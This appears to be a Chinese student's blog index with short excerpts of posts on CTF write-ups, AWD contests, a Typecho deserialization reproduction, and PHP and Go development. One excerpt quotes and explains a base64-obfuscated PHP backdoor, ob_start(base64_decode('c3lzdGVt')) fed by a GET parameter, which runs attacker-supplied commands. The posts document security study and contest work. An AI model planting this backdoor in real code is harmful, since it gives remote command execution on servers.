Light Cube 四周年快乐!!

时间过得真快。 一转眼就是大二了。我还记得去年是在军训完的那个国庆假期,也是在宿舍里敲的三周年的文字。和去年的国庆假期一样,今年也是宅在宿舍里。不过好在今年偶尔会去协会摸鱼。 SAO Alicization 下半篇要开始放送了,Light Cube 也已经四周年了呀~ 前些日子在 Twitter 上看到这么一条推文: 虽然没她一样强到用 C++ 去写服务端,不过确实是从搭建这个站点开始,我因此陆陆

最后的一只章鱼猫 —— GitHub Actions 实现编译打包 Golang 到 Docker 镜像

这阵子还挺忙的,上周二飞天津参加第五空间线下赛,回来后周五又是助手那边的面试,周六又是省赛线下赛,这星期又是协会这边的面试。 忙里偷闲抽了点时间继续在看 Redis,目前已经看到原理篇了,了解到了不少有意思的算法与实现原理,整本书看完后会写点东西总结一下。近期助手的 GitHub 教师认证通过了,并开通了团队的一堆福利。考虑到 GitHub 这边的工单系统更加完善,因而逐渐开始从自建 Gitea

Byte CTF web1 boring_code Writeup

是二血呢~ 今天上午忙着去补考工程经济学,50 分钟就出考场回协会做题。 很开心 Web1 boring_code 拿了二血,同时下午也得知补考被老师捞过了,晚上还在协会吃了烧烤。真的是很开心的一天呢~ 那么就来聊聊这道题吧。 回归 PHP 语言的本身 Web 中的 PHP 题,我比较喜欢的是对 PHP 语言本身考察的那些题。PHP 是一个解释型的弱类型语言,而弱类型带来的各种“骚操作”层出不穷,

Apicon 背后都用到的哪些技术?

Apicon 的来源 大概是高二的时候,因为 WordPress 的关系,我接触到了 Web API。进而了解到了 Ajax、RESTful 等概念。当时百度有一个 API Store,上面收录了大大小小各种各样的 API。从天气查询到语音识别,免费并配有详细文档以及不同语言的使用示例。 当时这对我来说真的是个宝库。与此同时,我在 GitHub 上也找到了个人整理的 QQ 音乐、网易云音乐、bil

阿里云函数计算 + Aglio 实现 API Blueprint markdown 渲染

这几天事一直很多,肝了几天终于完成的差不多了。这才有时间去写 Apicon。 这次想聊聊 Apicon 里的一个核心的功能——API 文档的编辑与展示。我最初的想法是,像助手一样按照一定的格式,使用 Markdown 来编写文档。但是这样在格式上难免不好统一。跟副主席聊的时候,他向我推荐了 Swagger 和 API Blueprint。这两个都是 API 文档自动生成工具。对比过后,我决定选择

『自闭 PHP 内核』 vol1. 来写一个 PHP 扩展吧~

之前学 C 语言的目标,就是想有一天能去看 PHP 的底层源码。一直对 PHP 挺惊讶的,她是一个很容易上手的语言,但是却是使用 C 语言编写的。C 语言原生能实现的功能,所含的库就不多语法残废,又十分地接近系统底层;很难想象像 PHP 这么一个语法宽松随便的语言,是怎样用 C 实现的。 之前在协会分享会时,Hammer 学长曾带着我们去看了 PHP 源码中关于弱类型比较的部分,还用 gdb 一步

总结一下最近 beego 开发遇到的坑

最近一直在写 Apicon 的主站,目前虽然还有很多功能没有写完,不过先配好了 Drone 直接上线了。 因为我的前端实在是太菜了,Vue 写到后面暴露出了很多问题;索性就放弃了之前定下的前后端分离,直接用 beego 开始写 MVC 了。 推翻之前所做的,确实需要一定勇气。不过就目前的情况看来,我还是挺满意这个决定的。 期间遇到了不少问题以及坑,这里总结一下吧。 自定义错误页 自定义诸如 404

聊聊 PHP ob_start() 在开发中的应用

先从安全聊起 上周六协会 AWD,其中的 web1 中,有一个ob_start()的后门,具体代码是这样的: @ob_start(base64_decode(‘c3lzdGVt’)); echo “$_GET[persistent]”; @ob_end_flush(); 参照 PHP 的文档,我们其实可以知道这个后门的原理。 c3lzdGVt这一段,base64_decode出来的即为system

Vidar-Team 内部 AWD 线下赛总结

今天六一,协会举办了大一第一次线下 AWD。 很开心最后我们组能获得第一。虽然上午被疯狂 Check Down 到自闭,但下午全靠 Moesang 大佬弹了四五个 Shell 疯狂cat /flag,同时 Y 也把 Pwn 给修好了。一下午就没怎么 Down 过,除了我中途修坏了一道 web 才 Down 了一轮。(是我太菜拖大家后腿了嘤嘤嘤 这也是我第一次打 AWD 啊。 这几天都在给 Lian

记录一道把我整的要死要活的 SQL 布尔盲注题

Jarvis OJ 启动!! 五一假期已经只剩一天了啊。真的快。 今天下午写 Go 时,室友在做南邮 CTF 上的 SQL 注入。那上面的两道 SQL 注入倒是挺基础的。但突然激起了我的兴趣 —— 想做做 SQL 注入了。 到 Jarvis OJ 上翻了下,还真有一道 ISCC 2016 年的 SQL 注入。原以为 ISCC 的难度都不大的,结果最后居然做了一个多小时……还

《高性能 PHP7》笔记

类型声明 PHP 作为一个弱类型的语言,加入类型声明,真是一件大好事啊!这样确实能够减少很多 bug 的产生,今后也要试着养成写类型声明的习惯。 形参类型声明 function foo(int $num){ echo($num); } // foo(123); -> 123 // foo(‘123’); -> 123 // foo(‘asd’); -> PHP Warning 这

抓了只水蓝色的地鼠玩玩

第一次听说 Golang,还是在上学期刚加入杭电助手的时候。当时跟大家还不熟,我在群里还挺腼腆的。当时部长开了个让我记忆犹新的玩笑: 我们或许可以期待一下 Google 推出 ogle 语言。 真香 刚开始我其实一直对 Golang 无感,和部长半开玩笑半认真地吹 PHP,觉得 Go 能做的,PHP 其实也能做到。只是具体的实现方式不同罢了。 但是前阵子在折腾 PHP 自动部署时,有过写一个类似

Typecho install.php 反序列化漏洞复现

昨天0ctf,唯一的一道 web 还是 Java,那个鬼椒的 hint 也是无语。直接自闭了。 对面的 bin 爷爷肝的不亦乐乎,web 狗只能在角落摸鱼。 之后我便去复现周五协会培训时司大哥讲的 Typecho 反序列化漏洞。之前听的时候,到后半部分有些理不清了,自己尝试的时候才差不多搞明白。 其实反序列化难就难在 pop 链的构造,真的是一环套一环啊。需要明白哪些变量使我们可控的,有哪些魔术方